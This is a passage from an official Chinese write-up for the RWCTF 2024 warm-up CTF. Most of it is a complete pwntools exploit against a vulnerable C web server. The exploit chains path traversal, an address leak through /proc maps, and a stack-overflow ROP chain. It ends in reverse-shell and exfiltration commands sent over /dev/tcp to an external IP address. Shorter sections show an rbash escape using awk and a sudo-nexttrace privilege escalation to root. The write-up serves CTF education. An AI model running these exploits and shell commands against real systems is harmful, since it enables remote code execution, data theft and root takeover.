char buffer[MAXLINE];
//Prepara cabecalho HTML
sprintf(buffer, "<html><head><title>Submitted Form</title></head>");
//Cria body
strcat(buffer, "<body><h1>Received variables</h1><br><table>");
strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");
char * pch;
char temp[250];
pch = strtok (linePost,"&=");
while (pch != NULL)
{
sprintf(temp, "<tr><td>%s</td>", pch);
strcat(buffer, temp);
pch = strtok (NULL, "&=");
sprintf(temp, "<td>%s</td></tr>", pch);
strcat(buffer, temp);
pch = strtok (NULL, "&=");
}
两个漏洞连用,攻击者可以实现任意代码执行。exploit代码如下:
#!/usr/bin/env python3
from pwn import *
import sys
context.arch = "i386"
context.log_level = "debug"
elf = ELF("./httpd", checksec = False)
libc = ELF("./libc.so.6", checksec=False)
# libc = elf.libc
host = "127.0.0.1"
#port = 39188
port = int(sys.argv[1])
def retrieve_file(path):
payload = f'''
GET /../../../../../../../../../../../..{path} HTTP/1.1rnrn'''
io = remote(host, port)
io.send(payload.lstrip().encode("latin-1"))
cont = io.recv()
if b'HTTP/1.1 200 OKrn' in cont:
cont = io.recv()
io.close()
return cont
def leak():
for pid in range(0, 200):
elf_path = b"/home/httpd"
libc_path = b"usr/lib/i386-linux-gnu/libc.so.6"
file = f"/proc/{pid}/maps"
cont = retrieve_file(file)
# print(cont)
try:
maps = cont.split(b"rnrn")[1]
# print(maps)
# breakpoint()
if elf_path in maps:
# print("find {}".format(pid))
heap = 0
stack = 0
for line in maps.split(b"n"):
address_range, permissions, offset, device, inode, mapped_file = line.split()[:6] if len(line.split()) >= 6 else (b"", b"", b"", b"", b"", b"")
if heap == 0 and b"[heap]" in mapped_file:
heap = int(address_range.split(b"-")[0], 16)
print("heap @ {:#x}".format(heap))
continue
if stack == 0 and b"[stack]" in mapped_file:
stack = int(address_range.split(b"-")[0], 16)
print("stack @ {:#x}".format(stack))
continue
if elf.address == 0 and elf_path in mapped_file:
elf.address = int(address_range.split(b"-")[0], 16)
# breakpoint()
print("elf @ {:#x}".format(elf.address))
continue
if libc.address == 0 and libc_path in mapped_file:
libc.address = int(address_range.split(b"-")[0], 16)
print("libc @ {:#x}".format(libc.address))
# breakpoint()
continue
if (heap & stack & elf.address & libc.address) != 0:
return (heap, stack)
except:
print("error")
continue
else:
print("not found")
exit(-1)
def overflow(addrs):
heap, stack = addrs
io = remote(host, port)
# 0x30 + 0x2c + 0x2a = 0x86
# 0xf: '<tr><td>nk</td>'
# 0xf: '<td>v</td></tr>'
# 0xe: '<tr><td>k</td>'
# 0xf: '<td>v</td></tr>'
padding = b"k=v&" * 0x88 # 0x88 * (0xe + 0xf) + 1 + 0x86 = 0xfef
padding += b"p=" # 0xfef + 0xe("<tr><td>p</td>") + 0x4("<td>") = 0x1001
'''
-00001028 buffer db 4096 dup(?)
-00000028 res_1 response ?
-0000001C var_1C dd ?
-00000018 req_1 request ?
-0000000C var_C db 12 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 arg_0 request ?
+00000014 arg_C response ?
+00000020 connfd dd ?
+00000024 linePost dd ?
'''
'''
/**
* Estrutura da resposta.
* @status: id do status de retorno
* @vProtocol: Versao do protocolo HTTP
* @fileName: Nome do arquivo em disco da requisicao
*/
typedef struct {
int status;
char *vProtocol;
char *fileName;
} response;
'''
payload = b'111' # res.status
payload += flat(elf.address + 0x306b) # res.vProtocol
payload += flat(stack + 0x1c29c) # res.fileName
payload += b'aaaa' # padding
'''
/**
* Estrutura da requisição.
* @method: Tipo de requisicao (GET/POST)
* @uri: Endereco para arquivo no servidor
* @vProtocol: Versao do protocolo HTTP
*/
typedef struct {
char *method;
char *uri;
char *vProtocol;
} request;
'''
payload += flat(elf.address + 0x3008) # req.method
payload += flat(stack + 0x191fc) # req.uri
payload += flat(elf.address + 0x305c) # req.vProtocol
payload += b'bbbbbbbbbbbb' # padding
payload += b'cccc' # ebp
# ropchain = flat(0xdeadbeef)
# ropchain += cyclic(0x20)
ropchain = flat([
libc.sym["system"],
0x12345678,
#stack + stack_offset,
#stack + 0x1c4e8,
#heap + 0x81a
heap + 0x141a
#0x57c7381a
])
# cmd = b"""perl -MIO::Socket::INET -e '$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:54321");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;';#"""
# https://gchq.github.io/CyberChef/#recipe=To_Hex('%5C%5Cx',0)&input=YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY%2BL2Rldi90Y3AvMTI3LjAuMC4xLzU0MzIxIDwmMSc
# cmd = br"""echo -e 'bash -c "exec bash -i x26>/dev/tcp/127.0.0.1/54321 <x261"' > /tmp/1;sh /tmp/1;#"""
# cmd = br"""printf '/bin/bash -c "exec bash -i x26>/dev/tcp/123.57.212.189/54321 <x261"' > /tmp/1;sh /tmp/1;#"""
cmd = br"""printf '/bin/bash -c "exec /readflag > /dev/tcp/123.57.212.189/54321 "' > /tmp/1;sh /tmp/1;#"""
# cmd = b"""id > /tmp/123;#"""
payload += ropchain # ret addr
payload += cmd
assert b"n" not in ropchain
assert len(payload) < 250 - 14
raw_payload = padding + payload
buffer = b"POST /index.html HTTP/1.1rn"
buffer += b"rn"
# buffer = buffer.ljust(0x1000, b'a')
buffer += raw_payload
buffer += b"rn"
buffer += raw_payload # last line
#print(hexdump(buffer))
assert len(buffer) <= 0x1000
assert b'x00' not in payload
io.send(buffer)
sleep(0.01)
# options = b"x" * 0x1000
# io.send(options)
addrs = leak()
# print(retrieve_file("/proc/39/maps"))
# pause()
overflow(addrs)
#for stack_offset in range(0x10000, 0x20000):
# try:
# overflow(addrs, stack_offset)
# except Exception as e:
# pass
PS: 附件提供了启动脚本launcher.py来确保本地和远程的内存偏移
Pwn, difficulty:Baby
考察 Ghostscript CVE-2023-28879 的漏洞利用:
漏洞原理:https://offsec.almond.consulting/ghostscript-cve-2023-28879.html
利用 PoC:
https://github.com/AlmondOffSec/PoCs/tree/master/Ghostscript_rce
Pwn, difficulty:Normal
事情的起因是刘大爷上个月的时候发现的一个非常有趣的github项目。
https://github.com/wikihost-opensource/als
这个项目在3周前经历了一次巨大的重构。这一次使用的是v1版本的代码。代码版本和仓库的链接可以通过直接读main.py的源代码得知。
看首页可以看到。项目有提供一个shell。随便跑点命令就可以发现是一个受限的shell。阅读源码查看沙箱构建的方式和权限。
只是一个降权的rbash,继续查看fakeroot的构建代码可以发现:
导入了awk。那接下来就简单了,直接用awk逃rbash。
awk 'BEGIN {system("/bin/sh")}'
export PATH=/usr/bin:/bin:/usr/local/bin/
接下来查看flag位置。发现flag在/root下。属于root并且权限为000。因此接下来的步骤就是提权。再次翻看代码就可以发现。
项目给了nexttrace sudo的权限可以以root执行。
接下来就是非预期的部分了。由于时间隔得比较久,加上部署这个题目的时候已经是体验赛开赛前的凌晨4点。实在有点神志不清。忘记了netrace可以直接读取文件内容了。因此只需要nexttrace –file /root/flag即可
接下来来说一说预期的。需要拿root shell才能解的做法:
首先发现nexttrace有-o参数可以指定输出结果到文件。但是再次研究发现-o不能指定写入的位置。只能写到/tmp/trace.log这个文件中。那么很容易就能想到应该用Symbolic Attack。 并且题目描述中也特意提到了关闭了Symbolic Attack保护(虽然非预期了)。
如此一来面临的问题就只有两个了。如何控制nexttrace输出的内容。以及写入哪个文件。
第一个问题,查看nexttrace源码和项目描述就可以看到。nexttrace支持从本地文件中读取ip信息数据库并进行查询:
因此只需要提供一个自定义的ip数据库。将ip所在地替换成我们需要的payload即可。查看源码可以看到。数据库来自一个名为ip2region的项目。
当然值得注意的是。nexttrace使用的ip2region的作者和als的作者一样。已经把v1版本的的代码整个扬了。只能从release下载的文件里还能看到v1版本的代码。
编写ip数据记录并生成数据库。
可以看到输出中已经有了我们的payload。
至于写到哪里就比较简单了。还是看刚才我们看过的rbash的启动代码。可以发现最后一行并不是exec的。因此nexttrace追加写入到该文件(/app/utilities/start_fakeroot.sh)。那么在shell退出之后会继续执行命令。导致root权限的任意代码执行。
Misc, difficulty:Baby
作者看到许多选手Writeup写得太好了,实在自愧不如,于是请大家欣赏下几位选手的Writeup(可复制到浏览器查看🔗):
https://blog.nanax.fr/post/2024-01-28-hardware-longrange2/ by The Flat Network Society
https://github.com/mmm-team/public-writeups/tree/main/rwctf2024/longrange2 by MMM
https://sec.gd/blog/en/posts/long-distance-2/ by WreckTheLine
原文始发于微信公众号(长亭科技):【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!